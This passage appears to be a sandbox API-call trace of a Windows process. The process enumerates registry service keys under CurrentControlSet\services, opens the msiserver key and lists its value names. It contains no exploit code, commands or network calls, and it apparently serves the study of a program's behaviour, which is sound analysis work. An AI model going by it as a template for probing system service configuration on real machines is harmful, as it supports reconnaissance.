returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0210.206] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0210.207] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0210.208] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0210.209] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0210.210] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0210.211] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0210.212] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0210.213] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0210.214] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0210.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0210.214] RegCloseKey (hKey=0xc4) returned 0x0 [0210.214] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0210.214] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0210.214] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0210.215] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0210.215] RegCloseKey (hKey=0x80000002) returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0210.215] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0210.216] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0210.216] RegCloseKey (hKey=0x14c) returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0210.216] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0210.216] RegCloseKey (hKey=0xc4) returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0210.216] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0210.217] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0210.217] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0210.217] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.217] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.218] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.218] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.218] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0210.218] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, 